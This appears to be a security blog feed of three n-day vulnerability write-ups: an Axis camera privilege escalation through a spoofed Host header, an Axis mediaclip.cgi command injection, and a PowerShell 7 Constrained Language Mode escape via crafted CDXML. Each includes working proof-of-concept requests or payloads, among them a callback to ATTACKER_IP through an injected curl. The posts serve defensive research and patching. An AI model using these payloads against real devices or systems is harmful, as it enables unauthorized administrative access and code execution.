CVE-2025-0324 is a privilege escalation in the VAPIX Device Configuration
framework, the REST API family behind /config/rest/* on AXIS OS devices.
Axis disclosed it on 2025-06-02, scored it 9.4 Critical, credited it to
bug-bounty researcher Malacupa, and withheld the technical detail on purpose:
“Axis will not provide more detailed information about the vulnerability.”
This post is the technical detail. I reconstructed the root cause by patch-diffing two public AXIS OS firmware images (11.11.127 vulnerable vs 11.11.181 fixed), then confirmed it on a camera I own. No vendor source, no insider information, just signed firmware that Axis distributes publicly.
The bug, in one sentence: the Apache authorization module that decides a
session’s roles contains a shortcut for requests whose host resolves to the
string localhost-acap, and under Apache’s default UseCanonicalName Off
that string is taken from the client’s own Host: header. One header turns
any logged-in account, including the lowest-privileged viewer role, into a
full administrator.
The fix has been generally available since 2025-06-02 (AXIS OS LTS 2024 11.11.140 and Active Track 12.3.33). Nothing here is a live risk to patched fleets; the point is to document what the advisory left out.
Recent AXIS OS builds expose the VAPIX Device Configuration framework under
/config/rest/<api>/<version>/ (alias /devconf/rest/). It covers the
sensitive parts of a device: ssh, firewall, snmp, cert, oidcsetup,
and more, all enumerable by any authenticated user via
GET /config/discover/apis.
The request path is Apache in front of a Rust daemon:
Apache (Digest auth, TLS) --> mod_proxy over a Unix socket --> dev-conf-service
Apache gates the whole /config tree at the lowest role (Require axis-group
viewer) and leaves fine-grained authorization to the backend. The backend
learns who is calling from two headers that Apache injects and
unconditionally overwrites: X-Remote-User (the Digest-authenticated
username) and X-Remote-User-Group (a role bitmask). Spoofing those headers
directly from the client does nothing; Apache recomputes them on every
request.
So the interesting question is not whether a client can control the headers,
but whether a client can influence how Apache itself computes USER_GROUPS.
That is exactly where the bug lives.
Axis ships a custom Apache authorization provider,
mod_authz_axisgroupfile.so, that implements the axis-group require
directive and fills in USER_GROUPS. Reconstructed from the disassembly of
the 11.11.127 build, its logic looks like this:
/* pseudocode, reconstructed from ARM64 disassembly */
static int is_trusted_local_acap_request(request_rec *r)
{
const char *server_name = ap_get_server_name(r);
ap_log_rerror(APLOG_MARK, APLOG_TRACE1, 0, r,
"ServerName is '%s'", server_name);
return strcmp("localhost-acap", server_name) == 0;
}
int axis_group_authz_resolve(request_rec *r, const char *user, int64_t *out_group_bitmask)
{
if (user != NULL && strcmp(user, "anonymous") != 0) {
if (is_trusted_local_acap_request(r)) {
*out_group_bitmask = 0xF; /* admin | operator | viewer | ptz */
return SUCCESS; /* skip the real group file */
}
/* normal path: parse /etc/apache2/group_auth, build the real bitmask */
}
...
}
Two things are wrong at once:
ap_get_server_name() is not a trustworthy value for a security
decision. With UseCanonicalName Off (Apache’s default, and the setting
in effect on these devices), it returns the hostname from the client’s
Host: header, falling back to the connection’s local IP only when no
header is present at all. The client chooses it, request by request.0xF is the union of
every role the module defines (admin=1, operator=2, viewer=4, ptz=8),
so the session instantly holds all of them.The check was presumably meant for trusted same-host callers, the kind of local ACAP application that reaches the API through a loopback-only virtual host name. Instead it hands the entire role set to anyone who can spell a hostname.
In 11.11.181 the same function computes ap_auth_name(r) instead, the
authentication realm configured for the matched <Location> block. That
value comes from server-side configuration only; no request header can
influence it. The comparison target changed accordingly:
const char *realm = ap_auth_name(r);
ap_log_rerror(APLOG_MARK, APLOG_TRACE1, 0, r, "Auth realm is '%s'", realm);
return strcmp("VapixService", realm) == 0;
The same release added a second, unrelated hardening in dev-conf-service:
it now requires and sanity-checks an X-Forwarded-For header before trusting
X-Remote-User / X-Remote-User-Group. That looks like defense-in-depth
against a differently shaped bypass (an ingress path that skips the normal
proxy), not the primary fix; I could not find a live path it blocks.
On classification: this is best described as CWE-290 (Authentication Bypass by Spoofing) composed with CWE-807 (Reliance on Untrusted Inputs in a Security Decision). Axis’s own CWE-791 (Incomplete Filtering of Special Elements) is a defensible looser fit; the element that should have been kept out of the trust decision is the Host header itself.
The whole analysis started from public artifacts:
ftp.axis.com/pub/axis/software/<model>/...), last
vulnerable build and first fixed build..bin unpacks (gzip, then tar) into a manifest, a
boot image, and rootfs.img, an unencrypted SquashFS 4.0 (zstd) volume.
unsquashfs reads it directly. No signature bypass, no decryption.strings output before spending time on disassembly.aaa, then izz / axt string
cross-references) to find the functions touching changed strings, then
instruction-by-instruction comparison. Both binaries are stripped ARM64;
function boundaries came entirely from string xrefs and calling-convention
reconstruction.The module that mattered nearly escaped the filter:
mod_authz_axisgroupfile.so is byte-identical in size across both builds
(30,824 bytes). Only a full string-set diff exposed the substitution:
| 11.11.127 (vulnerable) | 11.11.181 (fixed) | |
|---|---|---|
| Host context API | ap_get_server_name |
ap_auth_name |
| Trace log format | ServerName is '%s' |
Auth realm is '%s' |
| Comparison value | localhost-acap |
VapixService |
I also diffed the Apache vhost config and the D-Bus policy files to rule out
other paths, and tested several plausible alternates on live hardware:
direct spoofing of X-Remote-User (always overwritten), encoded-slash and
path-canonicalization tricks against the proxy, and the D-Bus policy
differences (unrelated interfaces). The identical-size module with a
different string table was what eventually pointed at the real bug.
All of this ran against my own camera on an isolated lab network, with a disposable viewer-role account. Step one needs no state changes: the firewall API returns a role-dependent object, so the same viewer credentials plus one header reproduce the administrator view.
# Baseline: viewer, unmodified request
$ curl --digest -u viewer_test:<pw> http://<camera>/config/rest/firewall/v1beta
{"status":"success","data":{"conf":{"rules":{}}}}
# Same account, one added header
$ curl --digest -u viewer_test:<pw> -H "Host: localhost-acap" \
http://<camera>/config/rest/firewall/v1beta
{"status":"success","data":{"activated":false,"conf":{"rules":{
"activeDefaultPolicy":"ACCEPT","activeRules":[],
"pendingDefaultPolicy":null,"pendingRules":[],"testTimeLeft":0}}}}
Step two removes any doubt that this is real authorization, not field visibility. Creating an SSH user is an administrator-only operation:
# Baseline: viewer, unmodified request -> rejected
$ curl --digest -u viewer_test:<pw> -X POST \
http://<camera>/config/rest/ssh/v1beta/users \
-H "Content-Type: application/json" \
-d '{"data":{"username":"poc_test","password":"<redacted>"}}'
HTTP/1.1 401 Unauthorized
# Same account, one added header -> 201 Created
$ curl --digest -u viewer_test:<pw> -H "Host: localhost-acap" -X POST \
http://<camera>/config/rest/ssh/v1beta/users \
-H "Content-Type: application/json" \
-d '{"data":{"username":"poc_test","password":"<redacted>"}}'
HTTP/1.1 201 Created
The account was deleted as administrator immediately after the test. One
side effect worth flagging: creating the first SSH user this way silently
flips the global legacy switch root.Network.SSH.Enabled from no to
yes, which opens TCP/22 on the device. Deleting the user does not undo
it; the switch stays on until it is explicitly set back. So the practical
blast radius includes silently enabling a previously closed service.
There is no pre-authentication bypass. Without valid credentials, or with
the literal username anonymous, the request still gets 401 regardless of
the header, because the vulnerable branch is only reached after Apache has
resolved a real, non-anonymous REMOTE_USER.
That last point answers a scoring disagreement: Axis scored the CVE with
PR:N (no privileges, 9.4), NVD recomputed it as PR:L (low privileges,
8.8). Every path I found requires a valid non-anonymous session first, so
the evidence supports NVD’s PR:L. It is a modest bar in practice: on
camera fleets the viewer role is routinely handed to VMS integrations and
semi-trusted third parties.
An account at any role level can reach full administrative control of the whole VAPIX Device Configuration surface:
cert API;snmp and oidcsetup, the integration credentials with monitoring
and identity infrastructure;Because the flaw lives in a shared platform component rather than one API’s
business logic, the same bypass should apply to every REST resource gated by
the axis-group provider, not only the two endpoints used here.
>= 11.11.140 or Active Track >= 12.3.33
(or the earliest build after that point on your model’s train)./config/* or /devconf/*
carrying Host: localhost-acap from anything other than the device’s own
loopback are strong exploitation indicators. Most Apache configs do not
log the Host header by default; add %{Host}i to the LogFormat where
log storage allows.verify_cve_2025_0324.py) that confirms exposure behaviorally in under a
second without changing device state.This is n-day research. The fix has been generally available for well over a year, the CVE is public, and nothing here pre-empts a live disclosure. All testing ran against hardware I own on an isolated network.
]]>CVE-2025-11142 is an OS command injection in mediaclip.cgi, the VAPIX
endpoint that manages the audio clips Axis devices can play (announcements,
alarms, door greetings). The advisory, published 2026-02-10, says the
endpoint “did not have a sufficient input validation” and that Axis “will
not provide more detailed information about the vulnerability.” That is the
whole public record: no root cause, no PoC.
This post is an independent reproduction. I found the bug again from the outside, black-box, against a device I own, and confirmed code execution with two independent techniques. It is n-day work: the fix (AXIS OS 12.7.36) shipped before I started, and the original find belongs to researcher 51l3nc3 via the AXIS OS Bug Bounty Program.
VAPIX is Axis’s HTTP API surface. The media clip API lives at
/axis-cgi/mediaclip.cgi and speaks HTTP Digest auth (Basic is rejected).
Four actions matter: upload, update, play, remove. Each clip is
addressed by an index, and update changes a clip’s display name, a
free-text name parameter with no obvious restrictions.
Black-box testing points at a simple mistake: the name value is passed,
unsanitized, to a shell invocation on the device, most likely as part of an
internal file-rename or processing step in the media clip subsystem. There
is no source to read here, so the root cause is inferred from behavior, but
the behavior is unambiguous: the full string is executed, not treated as an
inert label.
One detail shapes the whole methodology: the HTTP response never echoes
command output. Every request answers OK / Updating=0 no matter what the
payload does. The bug is blind, so confirmation has to come from side
channels: time, and the network.
The update action needs an existing clip, so the PoC starts with a tiny
placeholder WAV:
curl -s --digest -u "$USER:$PASS" --anyauth \
-X POST "http://$TARGET/axis-cgi/mediaclip.cgi?action=upload&media=audio&name=testclip" \
-F "file=@poc.wav;type=audio/wav"
Step 1, time-based confirmation. If the name is executed by a shell, an
injected sleep should show up directly in the response time:
# control
curl -s --digest -u "$USER:$PASS" --anyauth -G "http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" --data-urlencode "clip=0" \
--data-urlencode "name=test;sleep 0;"
# injected
curl -s --digest -u "$USER:$PASS" --anyauth -G "http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" --data-urlencode "clip=0" \
--data-urlencode "name=test;sleep 8;"
The delayed request tracks the injected duration (about 0.3s baseline
versus 8s), which is hard to explain any other way. I scaled the delays
(0/3/6/8 seconds) and rotated injection syntaxes (;, &&, backticks,
$(...)) to rule out coincidence; all of them execute.
Step 2, out-of-band callback. The strongest proof does not depend on timing at all. Start a listener and have the device call back to it:
# attacker host
nc -lvnp 4444
# payload
curl -s --digest -u "$USER:$PASS" --anyauth -G "http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;curl http://ATTACKER_IP:4444/rce_confirmed;"
An inbound HTTP request from the device’s IP with the curl User-Agent can
only originate from a command that actually ran on the device. That is the
confirmation the advisory’s “no known exploits” line never had.
Cleanup. action=remove&clip=0 restores the device state; the test clip
is disposable by design.
The repository below ships poc.py, which automates the whole sequence
(upload, timing check, callback listener, cleanup) against a target you
specify:
usage: poc.py --target 192.168.1.100 --user admin --pass <pw> --callback-ip 192.168.1.50
Confirmed: arbitrary OS command execution as a low-privileged service account, after authenticating with an operator or administrator credential. Not confirmed, and not pursued: escalation from that service account to root; no SUID or further paths were explored beyond passive enumeration.
Two environmental factors make the bug more than a checkbox in practice. Axis devices are frequently deployed with default or weak admin credentials, and the entire client-side SPA that maps the VAPIX API surface, including this endpoint, is served without authentication, so the attack surface is trivially discoverable from the login page alone.
This is n-day research: the fix was public before I looked, no report was filed by me, and the advisory’s own line about “no known exploits” is exactly why an independent, working PoC is worth documenting.
]]>Constrained Language Mode (CLM) is the enforcement layer behind WDAC and AppLocker script enforcement: a locked-down session can’t call arbitrary .NET APIs, so it’s safe to run code you don’t fully trust. On PowerShell 7 builds before 7.6.5, importing a crafted .cdxml file from inside such a session escapes the boundary. The file needs two operations that CLM allows by design: write it with Set-Content, load it with Import-Module. Everything after that runs in FullLanguage.
This is an n-day, not a disclosure. The fix landed on the 7.6.5 release branch before I looked at this, and the main-branch merge (PR #27869) has been public since 2026-08-20. No CVE was assigned. I verified the behavior end to end on 7.6.2 and on 7.6.6, then went through the fix for completeness. The reason to write it up is the failure mode: a security decision that rested on a validation step that wasn’t running in the build most people were on.
CDXML (Cmdlet Definition XML) is how CIM-based cmdlets get defined in XML instead of C#. Import-Module accepts .cdxml files directly, and Windows itself uses the format for its CIM-based management modules. The import path parses the XML, generates a PowerShell module script from it, and runs that script.
CLM is what makes “run this untrusted code” a solvable problem. WDAC or AppLocker puts the process into ConstrainedLanguage, and the engine then blocks method invocation on anything but core types. A script can keep working (cmdlets, pipelines, variables) while the interesting escape hatches stay closed. A CLM escape is therefore an escape from the security boundary itself. CVE-2019-1167 was the same class, in the same product.
The generated module script is marked trusted in ModuleCmdletBase.cs:
ScriptBlock sb = ScriptBlock.Create(this.Context, cmdletizationProxyModuleWriter.ToString());
// CDXML doesn't allow script injection, so it is trusted.
sb.LanguageMode = PSLanguageMode.FullLanguage;
That comment is the security argument, and it’s load-bearing: because the script block is FullLanguage, the code it contains runs with full privileges no matter what mode the importer is in.
“CDXML doesn’t allow script injection” isn’t structural, though. The generated script text is assembled from XML values, and what keeps those values from breaking out of their context is validation against cmdlets-over-objects.xsd, a schema whose patterns constrain fields like command names to plain identifiers. The source says so itself, right next to the one place where a value goes into the script without escaping:
Dbg.Assert(
Regex.IsMatch(commandMetadata.Name, @"[\p{Ll}\p{Lu}\p{Lt}\p{Lo}\p{Lm}]{1,100}-[\p{Ll}\p{Lu}\p{Lt}\p{Lo}\p{Lm}\p{Nd}]{1,100}"),
"Command name doesn't need escaping - validated via xsd");
output.WriteLine(
CmdletBeginBlockTemplate,
/* 0 */ commandMetadata.Name,
...
Dbg.Assert compiles to nothing in release builds. So the schema is the only thing standing between the XML and the generated code. That’s fine, as long as the schema actually runs.
In 7.6.2, and in every CoreCLR build before 7.6.5, it didn’t. The reader settings in ScriptWriter were set up under a preprocessor branch:
#if CORECLR // The XML Schema file 'cmdlets-over-objects.xsd' is missing in Github, and it's likely the resource string
// 'CmdletizationCoreResources.Xml_cmdletsOverObjectsXsd' needs to be reworked to work in .NET Core.
ScriptWriter.s_xmlReaderSettings.DtdProcessing = DtdProcessing.Ignore;
#else
... ValidationType = ValidationType.Schema; Schemas.Add(...) ...
#endif
On Windows PowerShell (the #else side) the schema was attached and enforced. On PowerShell Core / PowerShell 7 (the #if CORECLR side) the setup was skipped, and the reader fell back to no validation at all. The comment in the source says the quiet part: the schema file was missing from the repository, and the resource lookup needed reworking for .NET Core. Rather than block the port, the validation was compiled out, and it stayed that way until 7.6.5.
With no schema, every value the patterns were supposed to police is attacker-controlled. One of those values is the command name: Verb + - + Noun, or DefaultNoun, written into the generated script through this template:
function {0}
{
A DefaultNoun like this:
<DefaultNoun>X {} ; [System.IO.File]::WriteAllText('C:\poc\marker.txt','proof') ; function Z</DefaultNoun>
turns the generated header into valid PowerShell:
function Get-X {} ; [System.IO.File]::WriteAllText('C:\poc\marker.txt','proof') ; function Z { ... }
The payload closes the function header, runs a .NET method call, and opens a dummy function for the rest of the template to attach to. It executes at import time, and it executes in FullLanguage, because that’s how the generated script block is marked.
The test is short: force the session to ConstrainedLanguage, confirm the boundary is real (a direct method call must fail), write the crafted file with Set-Content, import it, and check for a marker file.
On 7.6.2:
mode: ConstrainedLanguage
CTRL: direct method call BLOCKED in CLM (expected): Cannot invoke method. Method invocation is
supported only on core types in this language mode.
CLM Set-Content OK: True
IMPORT: OK
MARKER EXISTS -> payload executed
marker content: FULL-LANGUAGE-EXECUTION-PROOF
On 7.6.6, the same script:
IMPORT ERR: Import-Module: Cannot process Cmdlet Definition XML ... The '...:DefaultNoun' element
is invalid - The value 'X {} ; [System.IO.File]::WriteAllText(...) ; function Z' is invalid
according to its datatype '...:Noun' - The Pattern constraint failed.
marker MISSING -> payload did not execute
That error is the schema doing its job: the Noun pattern rejects the payload before any script text is generated.
The runs above were on Linux builds. The CDXML import path is cross-platform, and ConstrainedLanguage is the same mode WDAC or AppLocker script enforcement sets on Windows; on a Windows CLM deployment the impact below applies unchanged.
The preconditions are exactly what a CLM deployment is supposed to tolerate. In WDAC enforced mode, AppLocker script enforcement, or any host that runs untrusted scripts in a locked-down session, the attacker needs the session to write a file and import it. Both operations are ordinary and allowed. From there the injected code runs with FullLanguage privileges in the same process: arbitrary .NET, arbitrary API calls, no different from running outside the sandbox. The delivery route is a module import, so anything that feeds a .cdxml from a source the session doesn’t fully control is a candidate.
The timeline matters here, though: this is closed on current stable. 7.6.5 and 7.6.6 both reject the payload. It only affects older 7.x builds, so if you deploy WDAC or AppLocker with script enforcement, make sure you’re on 7.6.5 or later.
The fix restores what the #if CORECLR branch had dropped, on every platform: cmdlets-over-objects.xsd is embedded in the assembly as a resource, and the reader settings always validate against it. In 7.6.5 and 7.6.6 the static constructor reads:
using Stream xsdStream = typeof(ScriptWriter).Assembly.GetManifestResourceStream("cmdlets-over-objects.xsd");
XmlReader cmdletizationSchemaReader = XmlReader.Create(xsdStream, s_xmlReaderSettings);
with ValidationType = ValidationType.Schema set unconditionally. The change first landed on the release branch as “Add the xsd validation back for CIM cmdlets” (commit 2207e9e3e7, merged 2026-08-10), shipped in 7.6.5 on 2026-08-14, and reached the main branch as PR #27869 on 2026-08-20.
Two checks beyond “the PoC stopped working”:
AnalysisCache.AnalyzeCdxmlModule (behind Get-Module -List), runs through the same validated ScriptWriter and only fills in module metadata; it doesn’t generate or execute script text, so there’s no parallel unvalidated path.EscapeSingleQuotedStringContent, variable contexts use EscapeVariableName. The only raw write left is the command name, and that one is now schema-tight.One observation about the fixed version, not a vulnerability in it: the command-name write is still protected by nothing but the schema. If the resource is ever lost again the way it was here, the injection comes back silently, and a release-build Dbg.Assert won’t tell anyone. An escape at the write site, or a startup check that the schema actually loaded, would make this trust decision fail closed instead of fail open.
2207e9e3e7).ad9c8fb93cd8).This is n-day research, not a disclosure. The fix was already public when I looked at it, no report was filed, and no CVE exists. Everything above is based on public sources: the merged fix, released binaries (7.6.2 and 7.6.6), and the source that ships with them.
]]>